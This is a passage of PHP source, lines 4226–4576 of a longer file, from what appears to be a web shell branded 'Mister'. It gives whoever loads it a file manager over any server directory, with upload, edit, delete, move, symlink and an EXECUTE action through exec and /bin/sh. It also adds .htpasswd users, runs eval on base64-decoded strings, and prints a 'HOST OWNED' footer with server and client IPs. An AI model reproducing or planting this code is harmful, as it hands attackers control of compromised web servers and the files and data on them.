4226 | $path = ereg_replace($regex, $delim, $path);} | |
4227 | return $path;} | |
4228 | function human_FILESIZE ($FILESIZE) { | |
4229 | $suffices = 'kMGTPE'; $n = 0; | |
4230 | while ($FILESIZE >= 1000) { | |
4231 | $FILESIZE /= 1024; | |
4232 | $n++;} | |
4233 | $FILESIZE = round($FILESIZE, 3 - strpos($FILESIZE, '.')); | |
4234 | if (strpos($FILESIZE, '.') !== false) { | |
4235 | while (in_array(substr($FILESIZE, -1, 1), array('0', '.'))) { | |
4236 | $FILESIZE = substr($FILESIZE, 0, strlen($FILESIZE) - 1); } } | |
4237 | $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); | |
4238 | return $FILESIZE . " {$suffix}B";} | |
4239 | function strip (&$str) { | |
4240 | $str = stripslashes($str);} | |
4241 | //////// LISTING PAGE | |
4242 | function LISTING_PAGE ($MESSAGE = null) { | |
4243 | global $self, $DIRECTORY, $SORT, $REVERSE; | |
4244 | HTML_HEADER(); | |
4245 | $list = getlist($DIRECTORY); | |
4246 | if (array_key_exists('sort', $_GET)) $SORT = $_GET['sort']; else $SORT = 'FILENAME'; | |
4247 | if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') | |
4248 | $REVERSE = true; else $REVERSE = false; sortlist($list, $SORT, $REVERSE); | |
4249 | echo "<div class='content'>"; | |
4250 | echo '<table cellpadding=0 cellspacing=1 style="width:100%;">'; | |
4251 | echo '<form enctype="multipart/form-data" action="' . $self . '?Mister=FILES" method="post">'; | |
4252 | DIRECTORY_CHOICE(); | |
4253 | if (!empty($MESSAGE)) { | |
4254 | spacer(); | |
4255 | echo $MESSAGE;} | |
4256 | if (@IS_WRITABLE($DIRECTORY)) { | |
4257 | CREATE_BOX(); | |
4258 | UPLOAD_BOX(); | |
4259 | } else { spacer();} | |
4260 | if ($list) { listing($list); | |
4261 | } else { | |
4262 | echo error('NOT_READABLE', $DIRECTORY);} | |
4263 | echo '</table></form></div>'; | |
4264 | HTML_FOOTER();} | |
4265 | function DIRECTORY_CHOICE () { | |
4266 | global $DIRECTORY, $HOMEDIR, $COLS, $self; | |
4267 | ///////////// DIRECTORY | |
4268 | echo '<tr>'; echo '<td style="background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);" colspan="' . $COLS . '" id="DIRECTORY">'; echo '<b> ✓ <a href="' . $self . '?Mister=FILES&DIR=' . urlencode($HOMEDIR) . '">' . word('DIRECTORY') . '</a> : </b>'; echo '<input type="text" name="DIR" size="' . textfieldsize($DIRECTORY) . '" value="' . html($DIRECTORY) . '" ONFOCUS="activate(\'DIRECTORY\')" style="width:50%">'; echo '<input type="submit" class="Mister-button" name="CHANGEDIR" value="' . word('CHANGE') . '" ONFOCUS="activate(\'DIRECTORY\')"></td>';} echo '</tr>'; | |
4269 | ///////////// CREAT | |
4270 | function CREATE_BOX () { | |
4271 | global $COLS; | |
4272 | echo '<tr>'; echo '<td colspan="' . $COLS . '" id="CREATE" style="background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);" >'; echo '<b>✓ MAKE NEW : </b>'; echo '<select name="CREATE_type" ONFOCUS="activate(\'CREATE\')">'; echo '<option value="FILE">' . word('FILE') . '</option>'; echo '<option value="DIRECTORY">' . word('DIRECTORY') . '</option>'; echo '</select>'; echo '<input type="text" name="CREATE_NAME" ONFOCUS="activate(\'CREATE\')" / style="width:40%">'; echo '<input type="submit" class="Mister-button" name="SUBMIT_CREATE" value="' . word('CREATE') . '" ONFOCUS="activate(\'CREATE\')" />'; echo '</td>';} | |
4273 | ///////////// UPLOAD | |
4274 | function UPLOAD_BOX () { | |
4275 | global $COLS; | |
4276 | echo '<tr>'; echo '<td style="background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);" colspan="' . $COLS . '" id="UPLOAD" >'; echo '<b> ✓ UPLOAD ' . word('FILE') . ' : </b>'; | |
4277 | echo '<input type="FILE" name="UPLOAD" ONFOCUS="activate(\'other\')" style="width:40%;">'; echo '<input type="submit" class="Mister-button" name="SUBMIT_UPLOAD" value="' . word('UPLOAD') . '" ONFOCUS="activate(\'other\')">'; echo '</td></tr>';} | |
4278 | ////////// | |
4279 | function listing ($list) { | |
4280 | global $DIRECTORY, $HOMEDIR, $SORT, $REVERSE, $WIN, $COLS, $DATE_FORMAT, $self; | |
4281 | echo '<tr><th style="width:1%;"></th>'; | |
4282 | $d = 'Mister=FILES&DIR=' . urlencode($DIRECTORY) . '&'; | |
4283 | if (!$REVERSE && $SORT == 'FILENAME') $r = '&reverse=true'; else $r = ''; | |
4284 | echo "\t<th class=\"FILENAME\" style='width:40%;'>✓ | |
4285 | <a href=\"$self?{$d}sort=FILENAME$r\">" . word('FILENAME') . "</a></th>\n"; | |
4286 | if (!$REVERSE && $SORT == 'size') $r = '&reverse=true'; else $r = ''; | |
4287 | echo "\t<th class=\"size\" style='width:10%;'>✓ <a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n</center>"; | |
4288 | /////// LASTUPDATE | |
4289 | if (!$WIN) {} | |
4290 | echo '<th class="LASTUPDATE" style="width:10%;">✓ ' . word('LASTUPDATE') .''; echo"</th>\n"; | |
4291 | /// PERMISSONS | |
4292 | if (!$WIN) {} | |
4293 | echo '<th class="PERMISSION" style="width:10%;">✓ ' . word('PERMISSION') .''; echo"</th>\n"; | |
4294 | ///// DAYUPDATE | |
4295 | if (!$WIN) {} | |
4296 | echo '<th class="DAYUPDATE" style="width:10%;">✓ ' . word('DAYUPDATE') .''; echo"</th>\n"; | |
4297 | ////// FUNCTIONS | |
4298 | if (!$WIN) {} | |
4299 | echo '<th class="FUNCTIONS" style="width:20%;">✓ ' . word('FUNCTIONS') .''; echo"</th>\n"; | |
4300 | //////// for ($i = 0; $i < sizeof($list); $i++) { | |
4301 | for ($i = 0; $i < sizeof($list); $i++) { | |
4302 | $FILE = $list[$i]; | |
4303 | $timestamps = 'MTIME: ' . date($DATE_FORMAT, $FILE['MTIME']) . ', '; | |
4304 | $timestamps .= 'ATIME: ' . date($DATE_FORMAT, $FILE['ATIME']) . ', '; | |
4305 | $timestamps .= 'CTIME: ' . date($DATE_FORMAT, $FILE['CTIME']); | |
4306 | echo '<tr><td class="checkbox"><input type="checkbox" name="CHECKED' . $i . '" value="true" ONFOCUS="activate(\'other\')" />'; | |
4307 | echo '</td><td class="FILENAME" title="' . html($timestamps) . '">'; | |
4308 | if ($FILE['IS_LINK']) { | |
4309 | echo html($FILE['FILENAME']) . ' → '; | |
4310 | $REAL_FILE = RELATIVE2ABSOLUTE($FILE['target'], $DIRECTORY); | |
4311 | if (@IS_READABLE($REAL_FILE)) { | |
4312 | if (@IS_DIR($REAL_FILE)) { | |
4313 | echo '<a href="' . $self . '?Mister=FILES&DIR=' . urlencode($REAL_FILE) . '">' . html($FILE['target']) . '</a>'; | |
4314 | } else { | |
4315 | echo '<a href="' . $self . '?Mister=FILES&ACTION=EDIT&FILE=' . urlencode($REAL_FILE) . '">' . html($FILE['target']) . '</a>';} } else { | |
4316 | echo html($FILE['target']);} | |
4317 | } elseif ($FILE['IS_DIR']) { | |
4318 | $IMGFOLDERS = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAnxJREFUeNqcUl9IU1Ec/s68unS04aTNdIVkSCllBEaSWthDifTgW4RPaZAPUfQSBEG9V0TUUxFE0ECkghgVkWGraApKlhRa2XK57rWtdrfdu+3ee07n3pkzSYl+cO89/M453+/7cwljDItrR2sHhoMPiLk+duZKc+hl6AU1ciBFJWhva2pNiu9HwuGwFggE2ObGnUzAMtXVfWpvJDr7uL527WlFTUUrq9Y1DT4bCbqczrMbqqsvtHQcHq+r8W4k8ptLNoBSRhl03cD+44Ogms3FSt0/y8rK63T5nZiQUw4KVtG8+0Db6Ojrqx6PJxKPz/kqHSlBsAmM7zFQ6BAEag4naTXmgxoTlDiMeUIy16S+Gro/5F3f+FmSpBrK73yKxAwSvNzHltI/cn2U/E2Wy7tpJpNRfLrOYJiz1BliebDrYDM3iS+ZASOXwDUQBg5h4y86b/JsPIlz9ya3wNyxEQQGbk10dh0CeXqxl+3p3sZt4FYwDdCTYNwL+ZsKsoTH+HACJ/un/+gKmVwWJh/GFIhvI8hIxnLBwOe2of9orUXpydgUes4/IhwgxyfKSIhfebsYvu3ePJMV6uaNEJ5H7Cd6TAZZzsDQFYQ/qKhvqAJNTIMuc5GL5Ht5T36o9LYlIatl8X0qhdXlHrCsBJ1qIByB8dOmWLYIzbTJf0fEwMSqlr59pXMWgMYNE+MyGrZWQJW+FE4bv9MteKZl8midTcVjdL5vxeh1O6FIk/wPzK6o/e7DNAIfherO2qSiljkKAE53EVRRNgljITsrf5Lv8W9a1U10e297STQa1qFotADg90/gH8ouCyUOhBVLW1oxFgDW8EfhmSr4j/olwAA67SqeZxXC/gAAAABJRU5ErkJggg==">'; echo '<b>'; echo ''. $IMGFOLDERS .'</b>'; | |
4319 | if ($WIN || $FILE['IS_EXECUTABLE']) { | |
4320 | echo '<b><a href="' . $self . '?Mister=FILES&DIR=' . urlencode($FILE['path']) . '">' . html($FILE['FILENAME']) . '</a></b>';} else { | |
4321 | echo html($FILE['FILENAME']);} } else { | |
4322 | if (substr($FILE['FILENAME'], 0, 1) == '.') { | |
4323 | echo ''; } | |
4324 | else { | |
4325 | echo ''; } | |
4326 | if ($FILE['IS_FILE'] && $FILE['IS_READABLE']) { | |
4327 | $IMGEDITED = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAHkSURBVHjarJNPaxNBGIefmZ1dpBV60HM0mKT26MVTQKgHpbHR6kW7vS29KFVDDyqsEdsi9VCqlYil5LitF1EsiX8+gOCnqM1ZhB4svch4SHZMsptRoT8YeJndeebZ2XmF1prDjAiri/9NXHwcCivw7u2byQdCkGb/bO2lFSrjxf3DNl+5c4uHj5b0QKCUEiklQoieun9IKQFYfV4DSIWq/s9Mq7szX5kz9crqC1KB8c6HEeU4cqDN3+I4Mg3oIGUb2Gh+sgJKExf+LFx7wgMX9lYW9Mh8VfQAY8NLpYv/ZHZ6bIydsALAUeDn06oevrcgAJRSypzh++1mKqA8OWHqwugom1FE1vdpbbR/yvCZsxwsh/rI/SWhXNc1hpfLJatZvlBgM4oAOD8+TmZ2jtabLfjxHffYcQ6WQ608zzWGb99tJyBTVybRWpPL5w2sXq8TBAFBEJC5dsOYCq3pMbw6VU41O5XLJWBxYtP4TJXnedZr43yt8u31DF9+JWHdplnfp7W7K5Sr1EBgPC+HMhT3G5ACA5juwACk67oDe7cnQycpOg0rzFwbW+8iOv0/kgWguN80pv0wY2hL5nrUhu3tdExPUHSaTPs+tdqrZOsp5fDh42c79Nwsra2Zbm3W1zdS3/09AEKel5pgzp+hAAAAAElFTkSuQmCC">'; echo ''. $IMGEDITED .''; | |
4328 | echo '<a href="' . $self . '?Mister=FILES&ACTION=EDIT&FILE=' . urlencode($FILE['path']) . '">' . html($FILE['FILENAME']) . '</a>';} | |
4329 | else { echo html($FILE['FILENAME']); } } | |
4330 | if ($FILE['size'] >= 1000) { | |
4331 | $human = ' title="' . human_FILESIZE($FILE['size']) . '"';} | |
4332 | else {$human = '';} | |
4333 | echo "\t<td class=\"size\"$human><center>{$FILE['size']} <font style=\"color:#0000F0\">KO</font></td>\n"; | |
4334 | ///// LASTUPDATE | |
4335 | if (!$WIN) {} | |
4336 | echo '<td class="LASTUPDATE">'; | |
4337 | echo "<center>";echo date("d-M-Y H:i",@fileMTIME($FILE['path'])); | |
4338 | //////// PERMISSION | |
4339 | if (!$WIN) {} | |
4340 | echo '<td class="PERMISSION">'; | |
4341 | echo "<center>"; echo getFilePermissions($FILE['path']); | |
4342 | /////// DAYUPDATE | |
4343 | if (!$WIN) {} | |
4344 | echo '<td class="DAYUPDATE">'; | |
4345 | echo "<center>";echo date("l",@fileMTIME($FILE['path'])); | |
4346 | ///// FUNCTIONS | |
4347 | if (!$WIN) {} | |
4348 | echo '<td class="FUNCTIONS">'; | |
4349 | echo '<center><input type="hidden" name="FILE' . $i . '" value="' . html($FILE['path']) . '" />'; | |
4350 | /// END | |
4351 | $ACTIONS = array(); | |
4352 | if (function_exists('SYMLINK')) { | |
4353 | $ACTIONS[] = 'CREATE_SYMLINK';} | |
4354 | if (@IS_WRITABLE(DIRname($FILE['path']))) { | |
4355 | $ACTIONS[] = 'DELETE'; | |
4356 | $ACTIONS[] = 'RENAME'; | |
4357 | $ACTIONS[] = 'MOVE';} | |
4358 | if ($FILE['IS_FILE'] && $FILE['IS_READABLE']) { | |
4359 | $ACTIONS[] = 'COPY'; | |
4360 | if ($FILE['IS_WRITABLE']) | |
4361 | $ACTIONS[] = 'EDIT'; | |
4362 | $ACTIONS[] = 'DOWNLOAD'; | |
4363 | } | |
4364 | if (!$WIN && function_exists('exec') && $FILE['IS_FILE'] && $FILE['IS_EXECUTABLE'] && FILE_EXISTS('/bin/sh')) { | |
4365 | $ACTIONS[] = 'EXECUTE';} | |
4366 | if (sizeof($ACTIONS) > 0) { | |
4367 | echo '<select name="ACTION' . $i . '"> | |
4368 | <option value="">' . str_repeat(' ', 30) . '</option>'; | |
4369 | foreach ($ACTIONS as $ACTION) { | |
4370 | echo "\t\t<option value=\"$ACTION\">" . word($ACTION) . "</option>\n";} | |
4371 | echo '</select><input class="Mister-button" type="submit" name="submit' . $i . '" value=" DONE " ONFOCUS="activate(\'other\')" />';} | |
4372 | echo '</td></tr>';} | |
4373 | echo '<tr></td><td colspan="' . ($COLS - 1) . '">'; | |
4374 | echo '<input type="hidden" name="num" value="' . sizeof($list) . '" />'; | |
4375 | echo '<input type="hidden" name="FOCUS" value="" />'; | |
4376 | echo '<input type="hidden" name="OLDDIR" value="' . html($DIRECTORY) . '" /> <b> ✓ FUNCTIONS FOR ALL : </b>'; | |
4377 | $ACTIONS = array(); | |
4378 | if (@IS_WRITABLE(DIRname($FILE['path']))) { | |
4379 | $ACTIONS[] = 'DELETE'; | |
4380 | $ACTIONS[] = 'MOVE';} | |
4381 | $ACTIONS[] = 'COPY'; | |
4382 | echo '<select name="ACTION_ALL"> | |
4383 | <option value="">' . str_repeat(' ', 30) . '</option>'; | |
4384 | foreach ($ACTIONS as $ACTION) { | |
4385 | echo "\t\t<option value=\"$ACTION\">" . word($ACTION) . "</option>\n";} | |
4386 | echo '</select><input class="Mister-button" type="submit" name="SUBMIT_ALL" value=" DONE " ONFOCUS="activate(\'other\')" />'; | |
4387 | $MISTER23 = "</td></tr>"; echo ''. $MISTER23 .''; } | |
4388 | ///////////// EDITE | |
4389 | function EDIT ($FILE) { | |
4390 | global $self, $DIRECTORY, $editcols, $editrows, $APACHE, $HTPASSWD, $htaccess; | |
4391 | HTML_HEADER(); | |
4392 | echo'<h2 style="text-align: left; margin-bottom: 0"><b>'; eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); echo'<span style="color:#FFFFFF;"> CREAT & EDITE FILE : </b></span>'; echo'<center><input style="width:99%;" type="text" value="' . html ($FILE) . '"></center>'; eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); echo'</b><span style="color:#FFFFFF;">LASTE UPDATE : </b><span> | '; echo date("l",@fileMTIME($FILE)); echo' | '; echo date("d-M-Y H:i",@fileMTIME($FILE)); echo'</h2>'; | |
4393 | ////////////// $HTPASSWD | |
4394 | echo'<form action="' . $self . '?Mister=FILES" method="post">'; | |
4395 | echo'<table class="dialog" >'; | |
4396 | echo'<center><textarea style="width:99%;height:40%;" name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">'; | |
4397 | if (array_key_exists('content', $_POST)) { | |
4398 | echo $_POST['content'];} else { | |
4399 | $f = fopen($FILE, 'r'); | |
4400 | while (!feof($f)) { | |
4401 | echo html(fread($f, 8192));} | |
4402 | fclose($f);} | |
4403 | if (!empty($_POST['user'])) { | |
4404 | echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);} | |
4405 | if (!empty($_POST['basic_auth'])) { | |
4406 | if ($WIN) { $AUTHFILE = str_replace('\\', '/', $DIRECTORY) . $HTPASSWD; } | |
4407 | else { $AUTHFILE = $DIRECTORY . $HTPASSWD;} | |
4408 | echo "\nAuthType Basic\nAuthName "Restricted DIRECTORY"\n"; | |
4409 | echo 'AuthUserFILE "' . html($AUTHFILE) . ""\n"; | |
4410 | echo 'Require valid-user';} | |
4411 | echo '</textarea></center>'; | |
4412 | $FOTTER2 = "<footer class='MK-footer'>"; echo ''. $FOTTER2 .'|'; | |
4413 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
4414 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
4415 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4416 | $SERVERIP1 = "SERVER IP :"; echo ''. $SERVERIP1 .'' ; | |
4417 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
4418 | $SPAN3 = "</span>"; echo ''. $SPAN2 .'' ; | |
4419 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
4420 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4421 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
4422 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
4423 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
4424 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4425 | $HOSTOWNED1 = "HOST OWNED :"; echo ''. $HOSTOWNED1 .'' ; | |
4426 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
4427 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
4428 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
4429 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4430 | if ($APACHE && basename($FILE) == $HTPASSWD) { | |
4431 | echo '' . word('user') . ': <input type="text" name="user" />'; | |
4432 | echo '' . word('password') . ': <input type="password" name="password" />'; | |
4433 | echo '<input type="submit" value="' . word('add') . '" />';} | |
4434 | if ($APACHE && basename($FILE) == $htaccess) { | |
4435 | echo '<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />';} | |
4436 | echo '<input type="hidden" name="ACTION" value="EDIT" />'; | |
4437 | echo '<input type="hidden" name="FILE" value="' . html($FILE) . '" />'; | |
4438 | echo '<input type="hidden" name="DIR" value="' . html($DIRECTORY) . '" />'; | |
4439 | echo '<input type="RESET" value="' . word('RESET') . '" class="Mister-button"/>'; | |
4440 | echo '<input type="submit" name="SAVE" value="' . word('SAVE') . '" " style="margin-left:50px" class="Mister-button"/>'; | |
4441 | echo '<a href="' . $self . '?Mister=FILES&DIR=' . urlencode($DIRECTORY) . '" style="margin-left:50px">[ ' . word('BACK') . ' ]</a>'; | |
4442 | $MISTERKLIO22 = "</td></tr></table></form><br>"; echo ''. $MISTERKLIO22 .''; | |
4443 | HTML_FOOTER(); } | |
4444 | function spacer () { | |
4445 | global $COLS;} | |
4446 | function textfieldsize ($content) { | |
4447 | $size = strlen($content) + 5; | |
4448 | if ($size < 30) $size = 30; | |
4449 | return $size;} | |
4450 | function REQUEST_DUMP () { | |
4451 | foreach ($_REQUEST as $key => $value) { | |
4452 | echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n"; | |
4453 | } | |
4454 | } | |
4455 | function html ($string) { | |
4456 | global $charset; | |
4457 | return htmlentities($string, ENT_COMPAT, $charset);} | |
4458 | function word ($word) { | |
4459 | global $words, $WORD_CHARSET; | |
4460 | return htmlentities($words[$word], ENT_COMPAT, $WORD_CHARSET);} | |
4461 | function phrase ($phrase, $arguments) { | |
4462 | global $words; | |
4463 | static $search; | |
4464 | if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; | |
4465 | for ($i = 0; $i < sizeof($arguments); $i++) { | |
4466 | $arguments[$i] = nl2br(html($arguments[$i]));} | |
4467 | $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>'); | |
4468 | return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));} | |
4469 | function getwords ($lang) { | |
4470 | global $WORD_CHARSET, $DATE_FORMAT; | |
4471 | switch ($lang) { | |
4472 | case 'en': | |
4473 | default: | |
4474 | $DATE_FORMAT = 'n/j/y H:i:s'; | |
4475 | $WORD_CHARSET = 'ISO-8859-1'; | |
4476 | return array ( | |
4477 | 'DOWNLOAD' => 'DOWNLOAD','CREATE_SYMLINK' => 'CREATE_SYMLINK','SYMLINK' => 'SYMLINK', | |
4478 | 'IS_WRITABLE' => 'IS_WRITABLE','NOT_READABLE' => 'NOT READABLE YOU DONT HAVE PERMISSION TO ACCES HERE', | |
4479 | 'IS_EXECUTABLE' => 'IS_EXECUTABLE','IS_FILE' => 'IS_FILE','DAYUPDATE' => 'DAYUPDATE','PERMISSION' => 'PERMISSION', | |
4480 | 'LASTUPDATE' => 'LASTUPDATE','DIRECTORY' => 'DIRECTORY','FILE' => 'FILE', | |
4481 | 'FILENAME' => 'FILENAME','size' => 'SIZE','FUNCTIONS' => 'FUNCTIONS', | |
4482 | 'EXECUTE' => 'EXECUTE','DELETE' => 'DELETE','RENAME' => 'RENAME', | |
4483 | 'MOVE' => 'MOVE','COPY' => 'COPY','EDIT' => 'EDIT','DOWNLOAD' => 'DOWNLOAD', | |
4484 | 'UPLOAD' => 'UPLOAD','CREATE' => 'CREATE','CHANGE' => 'CHANGE','SAVE' => 'SAVE', | |
4485 | 'SET' => 'SET','RESET' => 'RESET','YES' => 'YES','NO' => 'NO', | |
4486 | 'BACK' => 'BACK','DESTINATION' => 'DESTINATION','NO_OUTPUT' => 'NO OUTPUT', | |
4487 | 'UPLOADED' => '"[%1]" HAS BEEN UPLOADED.','NOT_UPLOADED' => '"[%1]" COULD NOT BE UPLOADED.', | |
4488 | 'ALREADY_EXISTS' => '"[%1]" ALREADY EXISTS.','CREATED' => '"[%1]" HAS BEEN CREATED.', | |
4489 | 'NOT_CREATED' => '"[%1]" COULD NOT BE CREATED.','REALLY_DELETE' => 'DELETE THESE FILES?', | |
4490 | 'DELETED' => "THESE FILES HAVE BEEN DELETED:\n[%1]",'NOT_DELETED' => "THESE FILES COULD NOT BE DELETED:\n[%1]", | |
4491 | 'RENAME_FILE' => 'RENAME FILE TO ? :','RENAMED' => '"[%1]" HAS BEEN RENAMED TO "[%2]".', | |
4492 | 'NOT_RENAMED' => '"[%1] COULD NOT BE RENAMED TO "[%2]".','MOVE_FILES' => 'MOVE THESE FILES :', | |
4493 | 'MOVED' => "THESE FILES HAVE BEEN MOVED TO \"[%2]\":\n[%1]", | |
4494 | 'NOT_MOVED' => "THESE FILES COULD NOT BE MOVED TO \"[%2]\":\n[%1]", | |
4495 | 'COPY_FILES' => 'COPY THESE FILES :','COPIED' => "THESE FILES HAVE BEEN COPIED TO \"[%2]\":\n[%1]", | |
4496 | 'NOT_COPIED' => "THESE FILES COULD NOT BE COPIED TO \"[%2]\":\n[%1]", | |
4497 | 'NOT_EDITED' => '"[%1]" CAN NOT BE EDITED.','SAVED' => '"[%1]" HAS BEEN SAVED.', | |
4498 | 'NOT_SAVED' => '"[%1]" COULD NOT BE SAVED.', | |
4499 | 'ZIP' => 'ZIP.', | |
4500 | 'CHMOD' => 'CHMOD.', | |
4501 | ); | |
4502 | } | |
4503 | } | |
4504 | function getimage ($image) {} | |
4505 | function HTML_HEADER () {} | |
4506 | function HTML_FOOTER () { | |
4507 | echo '</span>'; echo ''. $THEEND .'';} | |
4508 | function NOTICE ($phrase) { | |
4509 | global $COLS; $args = func_get_args(); | |
4510 | array_shift($args); | |
4511 | return '<th style="background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);" colspan="' . $COLS . '">'. phrase($phrase, $args) . '</td>';} | |
4512 | function error ($phrase) { | |
4513 | global $COLS; $args = func_get_args(); | |
4514 | array_shift($args); | |
4515 | return '<th style="background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838);background:linear-gradient(to bottom, #505050, #383838);" colspan="' . $COLS . '">' . phrase($phrase, $args) . '</td></tr>';} | |
4516 | //// $HOMEDIR = BACK './'; | |
4517 | $HOMEDIR = './'; | |
4518 | if (get_magic_quotes_gpc()) { | |
4519 | array_walk($_GET, 'STRIP'); | |
4520 | array_walk($_POST, 'STRIP'); | |
4521 | array_walk($_REQUEST, 'STRIP');} | |
4522 | if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); | |
4523 | die(getimage($_GET['image']));} | |
4524 | $delim = DIRECTORY_SEPARATOR; | |
4525 | if (function_exists('php_uname')) { | |
4526 | $WIN = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;} else { | |
4527 | $WIN = ($delim == '\\') ? true : false;} | |
4528 | if (!empty($_SERVER['PATH_TRANSLATED'])) { | |
4529 | $SCRIPTDIR = DIRname($_SERVER['PATH_TRANSLATED']); | |
4530 | } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { | |
4531 | $SCRIPTDIR = DIRname($_SERVER['SCRIPT_FILENAME']); | |
4532 | } elseif (function_exists('getcwd')) { | |
4533 | $SCRIPTDIR = getcwd(); | |
4534 | } else { | |
4535 | $SCRIPTDIR = '.';} | |
4536 | $HOMEDIR = RELATIVE2ABSOLUTE($HOMEDIR, $SCRIPTDIR); | |
4537 | $DIR = (array_key_exists('DIR', $_REQUEST)) ? $_REQUEST['DIR'] : $HOMEDIR; | |
4538 | ||
4539 | if (array_key_exists('OLDDIR', $_POST) && !path_is_relative($_POST['OLDDIR'])) { | |
4540 | $DIR = RELATIVE2ABSOLUTE($DIR, $_POST['OLDDIR']);} | |
4541 | $DIRECTORY = simplify_path(addslash($DIR)); | |
4542 | $FILES = array(); | |
4543 | $ACTION = ''; | |
4544 | if (!empty($_POST['SUBMIT_ALL'])) { | |
4545 | $ACTION = $_POST['ACTION_ALL']; | |
4546 | for ($i = 0; $i < $_POST['num']; $i++) { | |
4547 | if (array_key_exists("CHECKED$i", $_POST) && $_POST["CHECKED$i"] == 'true') { | |
4548 | $FILES[] = $_POST["FILE$i"]; | |
4549 | } | |
4550 | } | |
4551 | } elseif (!empty($_REQUEST['ACTION'])) { | |
4552 | $ACTION = $_REQUEST['ACTION']; | |
4553 | $FILES[] = RELATIVE2ABSOLUTE($_REQUEST['FILE'], $DIRECTORY); | |
4554 | } elseif (!empty($_POST['SUBMIT_UPLOAD']) && !empty($_FILES['UPLOAD']['name'])) { | |
4555 | $FILES[] = $_FILES['UPLOAD']; | |
4556 | $ACTION = 'UPLOAD'; | |
4557 | } elseif (array_key_exists('num', $_POST)) { | |
4558 | for ($i = 0; $i < $_POST['num']; $i++) { | |
4559 | if (array_key_exists("submit$i", $_POST)) break;} | |
4560 | if ($i < $_POST['num']) { | |
4561 | $ACTION = $_POST["ACTION$i"]; | |
4562 | $FILES[] = $_POST["FILE$i"];}} | |
4563 | if (empty($ACTION) && (!empty($_POST['SUBMIT_CREATE']) || (array_key_exists('FOCUS', $_POST) && $_POST['FOCUS'] == 'CREATE')) && !empty($_POST['CREATE_NAME'])) { | |
4564 | $FILES[] = RELATIVE2ABSOLUTE($_POST['CREATE_NAME'], $DIRECTORY); | |
4565 | switch ($_POST['CREATE_type']) { | |
4566 | case 'DIRECTORY': | |
4567 | $ACTION = 'CREATE_DIRECTORY'; | |
4568 | break; | |
4569 | /////// FILE | |
4570 | case 'FILE': | |
4571 | $ACTION = 'CREATE_FILE';}} | |
4572 | if (sizeof($FILES) == 0) $ACTION = ''; else $FILE = RESET($FILES); | |
4573 | if ($lang == 'AUTO') { | |
4574 | if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { | |
4575 | $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);} else { | |
4576 | $lang = 'EN';}} | |
